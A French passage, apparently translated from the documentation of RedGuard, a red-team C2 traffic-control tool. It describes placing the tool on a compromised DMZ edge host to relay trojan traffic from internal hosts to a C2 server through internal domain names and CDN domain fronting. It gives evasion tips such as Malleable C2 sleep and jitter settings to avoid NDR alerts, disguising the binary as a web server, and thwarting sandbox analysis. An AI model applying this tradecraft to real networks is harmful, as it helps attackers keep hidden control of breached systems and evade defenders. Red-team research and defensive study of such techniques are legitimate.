Cette méthode est une sorte d'astuce rusée, qui se reflète davantage dans l'idée. Si elle est utilisée davantage, la fonction de capture du honeypot peut être déployée dans l'installation de contrôle de trafic frontal du C2, puis le trafic interactif peut être dirigé. L'effet est que les données du cache du navigateur du client peuvent être obtenues tout comme un honeypot traditionnel. Cependant, je pense personnellement que dans la version publique, cela n'a peut-être pas de sens de l'appliquer à la confrontation actuelle entre attaque et défense. Il est inutile pour l'attaquant de capturer les informations sociales de l'analyste de l'équipe bleue et de les tracer. Bien sûr, en prenant du recul, cela peut rendre l'analyse des échantillons C2 plus dangereuse. Lorsque l'attaquant des industries noires et grises peut obtenir l'identité virtuelle de l'analyste, si les identités virtuelles et réelles peuvent être converties, cela reste relativement dangereux. **Je pense donc que les futures recherches et analyses devraient être plus prudentes et vigilantes.**
## Trafic C2 basé sur l'interaction de lien de nœud périphérique
Dans le scénario de confrontation attaque-défense, la plupart des réseaux d'unités sont encore basés sur une défense périmétrique. Nous considérons ici un scénario où les serveurs externes de la zone DMZ sont souvent configurés avec des politiques d'accès pertinentes dans un environnement métier normal. À ce moment-là, lorsque les serveurs externes en périphérie peuvent accéder au réseau mais pas directement à l'hôte du réseau interne, le PC ou les serveurs associés du réseau interne n'accèdent pas directement au réseau public, mais peuvent accéder aux serveurs métier de la zone DMZ. Alors, je peux utiliser l'hôte du nœud périphérique comme nœud RG pour transférer le trafic en ligne du réseau interne vers nos installations C2. Cela ressemble-t-il beaucoup au transfert en ligne par proxy conventionnel ? Cependant, ce n'est qu'une forme de démonstration de la mise en œuvre de la compétence. Continuons à voir plus d'astuces.
Lorsque nous prenons le contrôle d'un hôte périphérique pendant le processus de gestion, en supposant que nous avons pris les permissions Shell, nous déploierons RG sur ce serveur comme notre nœud frontal **(dans les scénarios réels, les fichiers de configuration sont codés en dur dans le programme, et même le cheval de Troie et RG sont combinés dans le même programme)**.
**Le fichier de configuration est le suivant :**
Pour la configuration spécifique, nous nous concentrons principalement sur les flèches. **La flèche 1 ci-dessus est le nom de domaine HOST pour l'interaction entre l'hôte du réseau interne et le nœud périphérique**. Il est recommandé de définir le nom de domaine interne pertinent en fonction du scénario spécifique de l'unité cible. Imaginez l'interaction de trafic entre deux hôtes du réseau interne à propos du nom de domaine interne. Est-ce que BT a le courage de couper directement le trafic interactif ? Bien sûr, s'ils peuvent déterminer qu'il s'agit d'un trafic interactif malveillant. **La flèche 2 pointe vers la configuration du domaine frontal conventionnel**. Cette paire clé-valeur, la clé correspond au HOST en ligne et la valeur correspond à l'adresse du proxy. Ici, nous pouvons le définir sur n'importe quel nom de domaine HTTPS utilisant le même fabricant de CDN **(l'IP du nœud CDN est également acceptable, n'oubliez pas d'inclure le protocole http(s)://)**.
EdgeHost est le nom de domaine utilisé par le frontal de domaine de notre fournisseur de services cloud, qui est également le nom de domaine utilisé par le nœud périphérique RG lors de l'interaction avec C2 via le nœud CDN. Oui, RG modifiera le nom de domaine HOST de la requête légitime et le remplacera par le nom de domaine CDN du service cloud qui peut communiquer normalement.
EdgeTarget est le nom de domaine pour l'interaction du réseau interne, qui doit être le même que la flèche 1. Seul le trafic demandé par le nom de domaine défini ici par HOST sera considéré comme légitime, et RG sera modifié ultérieurement en nom de domaine CDN du service cloud pour la communication ultérieure.
**Voici un résumé :**
C'est-à-dire que l'interaction entre le nœud périphérique et l'hôte du réseau interne se fait via le nom de domaine interne défini. Lorsque le cheval de Troie initie une requête au nœud périphérique du RG, il déterminera si le HOST du trafic de requête est le nom de domaine interne défini dans le fichier de configuration. S'il est conforme, il est considéré comme légitime. Le RG modifiera le HOST en nom de domaine CDN du fournisseur de services cloud défini par EdgeHost pour la communication ultérieure et transférera le trafic vers le serveur C2, réalisant ainsi une dissimulation complète et une grande obfuscation de l'ensemble du lien. Imaginez que le nom de domaine interne interagit avec le nœud périphérique avec le nom de domaine interne, mais le nœud périphérique modifie en outre l'adresse proxy interactive réelle et le HOST interactif, réalisant une information interactive asymétrique entre les deux hôtes, rendant le traçage plus difficile et difficile à enquêter.
**Trafic d'interaction entre les nœuds périphériques et les hôtes du réseau interne, comme illustré dans la figure ci-dessus**
Un autre avantage de cette approche est que dans l'environnement sandbox cloud, étant donné que notre IP interactive est personnalisée en fonction du réseau interne, il est impossible pour le sandbox d'effectuer une analyse de corrélation de connectivité sur l'IP interne pendant l'analyse.
Une chose à noter lors de la configuration est que le HOST pour la requête du cheval de Troie doit être :
- **HOST : Nom de domaine interne (défini dans le fichier de configuration RG)**
- **IP : IP interne de l'hôte périphérique**
- **Port en ligne : 443 (correspond au port d'écoute http(s) dans le fichier de configuration RG)**
- **Port d'écoute : le port où C2 est réellement en ligne**
Les paramètres d'écoute C2 sont les suivants :
Par contraste avec la requête, le HOST de l'écouteur C2 doit être le nom de domaine CDN du fournisseur de services cloud, tant que le trafic final peut être transféré au serveur C2.
Le trafic d'interaction du nœud interne, comme illustré dans la figure ci-dessous, on peut voir que l'IP interne dans la zone DMZ accède normalement au port 443. Il n'est pas surprenant que le serveur interne ou le PC soit connecté au système métier dans la zone DMZ.
Le trafic interactif de l'hôte périphérique est illustré dans la figure. Dans les scénarios réels, il n'y aura pas un grand nombre de TIME_WAIT. Ici, j'ai réglé le sommeil du paquet heartbeat à 0 pour les tests. Il est plus sûr de définir une gigue et un temps de sommeil plus importants pour les paquets heartbeat dans les scénarios réels. Et personnellement, je pense que le trafic HTTP n'est pas utilisé dans les scénarios réels. Le trafic en texte clair n'est-il pas une perte de temps ? Donc généralement ce port ne sera pas ouvert. Nous changerons le nom du fichier RG en Tomcat, Apache, Nginx, etc. pour rendre l'interaction plus confuse.
Concernant la gigue et le temps de sommeil du paquet heartbeat, vous pouvez simplement définir les champs suivants dans le fichier Malleable C2 Profile.```bash
set sleeptime "3000";
set jitter "20";
Si vous ne le configurez pas, une alarme de paquet de battement de cœur anormal peut apparaître. Bien sûr, dans la plupart des cas, les chercheurs penseront qu'il s'agit d'une fausse alarme et l'ignoreront. Cependant, pour des raisons de sécurité, il est recommandé de le configurer afin qu'il ne provoque pas d'alarme de paquet de battement de cœur anormal. À l'époque, cela a été testé par l'équipement NDR de 360, et l'effet spécifique est le suivant :
Quant au trafic HTTPS, aucun dispositif de surveillance du trafic sur le marché ne peut censurer le trafic. Les dispositifs de surveillance actuels sont essentiellement une correspondance de mots sensibles. Même lors d'un concours de détection de paquets de données d'un certain fabricant, il est exigé d'utiliser des paquets en texte clair, ce qui fait se demander si les RT interagissent vraiment avec du trafic en texte clair dans des scénarios de combat réels ? Outre les informations d'interaction asymétriques mentionnées ci-dessus, le plus grand avantage de cette méthode est que le nœud RG est placé au nœud périphérique pour réaliser le contrôle du trafic frontal, lui conférant ainsi le même effet fonctionnel qu'un RG classique.
Les nœuds dorsaux des nœuds RG sont transformés en nœuds CDN pour transférer vers le serveur C2. Dans les scénarios conventionnels, les nœuds frontaux des domaines sont tous utilisés comme nœuds de requête de première couche, et les hôtes périphériques sont mis en ligne après le RG. L'interaction entre le système métier dans la zone DMZ et l'IP CDN du réseau public semble également très harmonieuse. Dans ce processus, ni l'hôte du réseau interne ni l'hôte périphérique n'interagissent directement avec notre C2, ce qui est aussi l'élégance de cette technique de dissimulation avancée.
Bien sûr, outre les avantages mentionnés ci-dessus par rapport au transfert proxy netsh et iptables, la simplicité de configuration et l'absence d'enregistrements de configuration sont également l'un des avantages.
Merci pour votre soutien. RedGuard continuera de s'améliorer et d'être mis à jour. J'espère que RedGuard pourra être connu de plus de professionnels de la sécurité. L'outil s'inspire des idées de conception de RedWarden.
Nous vous invitons à nous faire part de vos besoins, RedGuard continuera de croître et de s'améliorer grâce à ces besoins !
À propos des articles liés au développeur 风起 : https://www.anquanke.com/member.html?memberId=148652
Conférencier 2022Kcon sur le spectre des armes de la conférence des hackers
10e Forum avancé d'attaque et de défense de la Conférence sur la Sécurité Internet ISC : sujet « Contrôle du flux frontal C2 »
Échange de trafic C2 basé sur les liens de nœuds périphériques
https://www.anquanke.com/post/id/278140
Analyse de la technologie d'identification des flux des sandbox cloud
https://www.anquanke.com/post/id/277431
Réalisation de la technologie de randomisation de l'empreinte JARM
https://www.anquanke.com/post/id/276546
Contre-mesures contre les renseignements sur les menaces de l'infrastructure C2
Kunyu : https://github.com/knownsec/Kunyu
风起于青萍之末，浪成于微澜之间。
Si vous avez des questions ou des demandes, vous pouvez soumettre un problème dans le projet, ou contacter le développeur en ajoutant WeChat.
| IP | Port | Protocole | Service | Pays | Ville | Titre | Date |
|---|
| 103.211.xx.90 | 443 | https | Apache httpd | Chine | Suzhou | 百度图片-发现多彩世界 | 2023-08-28 |
| 223.113.xx.207 | 443 | https | JSP3 | Chine | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.112.xx.48 | 443 | https | JSP3 | Chine | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.113.xx.40 | 443 | https | JSP3 | Chine | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.113.xx.31 | 443 | https | JSP3 | Chine | 405 Not Allowed | 2023-08-28 | |
| 223.113.xx.206 | 443 | https | JSP3 | Chine | Xuzhou | 403 Forbidden | 2023-08-28 |